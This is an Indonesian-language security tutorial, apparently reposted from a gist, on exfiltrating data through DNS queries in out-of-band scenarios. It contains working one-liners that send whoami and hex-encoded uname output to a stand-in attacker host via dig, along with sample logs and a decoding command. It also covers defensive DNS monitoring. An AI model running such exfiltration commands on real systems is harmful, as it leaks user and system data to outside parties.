Sep 25, 2024
sysbraykr.com news - Pendahuluan tentang Eksfiltrasi Data via DNS
Eksfiltrasi data menggunakan DNS (Domain Name System) adalah teknik yang sering dimanfaatkan dalam skenario Out-of-Band (OOB) di mana saluran komunikasi standar diblokir atau diawasi. Dalam situasi OOB, respons langsung terhadap permintaan mungkin tidak tersedia karena aturan firewall yang ketat atau kontrol jaringan lainnya. DNS, khususnya melalui UDP (User Datagram Protocol), dapat dieksploitasi untuk melewati pembatasan ini dan mengirimkan data secara diam-diam.
DNS, sebagai bagian penting dari infrastruktur internet, sering kali diizinkan melewati firewall tanpa pengawasan yang ketat. Penyerang dapat memanfaatkan celah ini dengan mengenkode dan menyisipkan data ke dalam permintaan DNS, mengirimkan permintaan tersebut ke server DNS yang dikuasai oleh penyerang, di mana data tersebut kemudian didekodekan dan diambil.
Gambaran Skenario: Menggunakan DNS untuk Eksfiltrasi Data
Bayangkan Anda berada di lingkungan di mana hanya lalu lintas DNS yang diizinkan. Dengan menggunakan perintah dig
(alat untuk kueri DNS), data dapat dieksfiltrasi dari mesin yang telah dikompromikan ke server DNS yang dikendalikan oleh penyerang. Dalam contoh ini, kita akan memulai dengan kasus sederhana di mana kita mengekstraksi nama pengguna dari pengguna saat ini (whoami
) ke server DNS penyerang.
Perintah:
dig a +short $(whoami).oob-server.com
Dalam perintah ini:
dig a +short
digunakan untuk mengirim kueri DNS untuk catatan A.$(whoami)
secara dinamis memasukkan nama pengguna saat ini ke dalam kueri.oob-server.com
adalah server DNS penyerang yang menangkap permintaan tersebut.
Hasilnya adalah kueri DNS yang mencakup nama pengguna dari mesin sebagai subdomain. Server DNS penyerang akan mencatat kueri ini, memungkinkan penyerang untuk mengambil informasi yang telah dieksfiltrasi.
Contoh Log Kueri DNS:
23-Sep-2024 14:30:42.096 queries: info: client @0x7ff012399f00 192.168.50.10#51234 (spidey.oob-server.com): query: spidey.oob-server.com IN A -E(0)DC (192.158.1.1) [ECS 192.168.100.0/24/0]
Dalam log ini, terlihat bahwa permintaan untuk spidey.oob-server.com
telah dikirim ke server DNS penyerang, yang menunjukkan bahwa nama pengguna "spidey" berhasil dieksfiltrasi.
Mengeksfiltrasi Data yang Lebih Kompleks
Seringkali, penyerang ingin mengekstraksi informasi yang lebih kompleks seperti detail sistem, isi file, atau bahkan kredensial. Dalam kasus seperti ini, data mungkin mengandung spasi, karakter khusus, atau konten biner yang tidak bisa langsung dikirim dalam kueri DNS. Di sinilah metode encoding seperti heksadesimal (hex) atau Base64 berperan.
Mari kita ambil contoh untuk mengeksfiltrasi output dari perintah uname -a
, yang memberikan informasi rinci tentang sistem. Karena output ini mengandung spasi dan karakter khusus, ia perlu dienkode sebelum dikirim melalui kueri DNS.
Perintah untuk Mengenkripsi dan Mengeksfiltrasi Data:
uname -a | od -A n -t x1 | sed 's/ *//g' | while read exfil; do dig a +short $exfil.oob-server.com; done
Perintah ini bekerja sebagai berikut:
uname -a
menghasilkan informasi sistem.od -A n -t x1
mengonversi output menjadi representasi heksadesimal.sed 's/ *//g'
menghapus spasi dari string yang telah dienkode hex.Loop
while
mengirim setiap bagian dari string yang dienkode sebagai kueri DNS ke server penyerang.
Contoh Log Kueri DNS:
23-Sep-2024 14:31:13.012 queries: info: client @0x7ff012399f00 192.168.50.5#44650 (44617277696e20596173686f732d4d61.oob-server.com): query: 44617277696e20596173686f732d4d61.oob-server.com IN A -E(0)DC (192.158.1.1) [ECS 192.168.100.0/24/0]
23-Sep-2024 14:31:13.320 queries: info: client @0x7ff112399f90 192.168.50.15#42485 (63426f6f6b2d50726f2e6c6f63616c20.oob-server.com): query: 63426f6f6b2d50726f2e6c6f63616c20.oob-server.com IN A -E(0)DC (192.158.1.1) [ECS 192.168.100.0/24/0]
Di sini, Anda dapat melihat string yang telah dienkode hex dikirim ke server penyerang melalui serangkaian kueri catatan A DNS.
Mendekode Data yang Dieksfiltrasi
Setelah penyerang menangkap kueri DNS, mereka akan mendekode subdomain yang telah dienkode hex kembali ke data aslinya. Ini dapat dilakukan menggunakan perintah sederhana yang mengonversi hex kembali ke teks yang dapat dibaca.
Perintah untuk Mendekode:
echo "44617277696e20596173686f732d4d6163426f6f6b2d50726f2e6c6f63616c2032312e312e302044617277696e204b65726e656c2056657273696f6e2032312e312e303a20576564204f63742031332031373a33333a32342050445420323032313b20726f6f743a786e752d383031392e34312e357e312f52454c454153455f41524d36345f54383130312061726d36340a" | xxd -r -p
Ini akan mengeluarkan data asli:
Darwin Spideys-MacBook-Pro.local 21.1.0 Darwin Kernel Version 21.1.0: Wed Oct 13 17:33:24 PDT 2021; root:xnu-8019.41.5~1/RELEASE_ARM64_T8101 arm64
Implikasi Keamanan dan Langkah Pencegahan
Teknik ini adalah contoh nyata bagaimana penyerang dapat mengeksfiltrasi data melalui DNS dengan menghindari langkah-langkah keamanan tradisional. Dengan mengenkripsi data dan membaginya ke dalam beberapa kueri DNS, penyerang dapat dengan diam-diam mengekstraksi informasi dari lingkungan yang telah dikompromikan.
Dari perspektif pertahanan, pemantauan lalu lintas DNS untuk pola abnormal sangat penting. Kueri DNS dalam jumlah besar dengan subdomain yang dienkode, terutama ke server eksternal atau tidak dikenal, harus ditandai untuk penyelidikan lebih lanjut. Selain itu, mengonfigurasi server DNS internal untuk membatasi kueri DNS keluar atau menggunakan alat deteksi tunneling DNS dapat mengurangi ancaman ini.
Kesimpulan
Eksfiltrasi data menggunakan DNS dalam skenario Out-of-Band adalah metode yang efektif dan tersembunyi yang memanfaatkan salah satu protokol yang paling sering diizinkan di jaringan. Penyerang dapat mengeksfiltrasi data dengan mengenkripsi dan mengirimkannya sebagai bagian dari kueri DNS ke server eksternal. Meskipun teknik ini sangat kuat, sangat penting untuk memastikan bahwa penggunaannya terbatas pada pengujian keamanan dan penelitian yang sah.
Seperti semua teknik penetrasi tingkat lanjut, para peretas etis dan peneliti harus selalu memperoleh izin eksplisit sebelum melakukan aktivitas semacam ini pada jaringan apa pun.
Referensi:
S. Sinha, “Eksfiltrasi Data via DNS,” InfoSec Institute, 2020.
W. R. Cheswick, S. M. Bellovin, dan A. D. Rubin, Firewalls and Internet Security: Repelling the Wily Hacker, Addison-Wesley, 2003.
D. Kaminsky, “Black Ops of DNS,” Konferensi Black Hat, 2008.
Sumber artikel : https://gist.github.com/0xSpidey/6b38a02be0409ba3679d71c30a6db9a9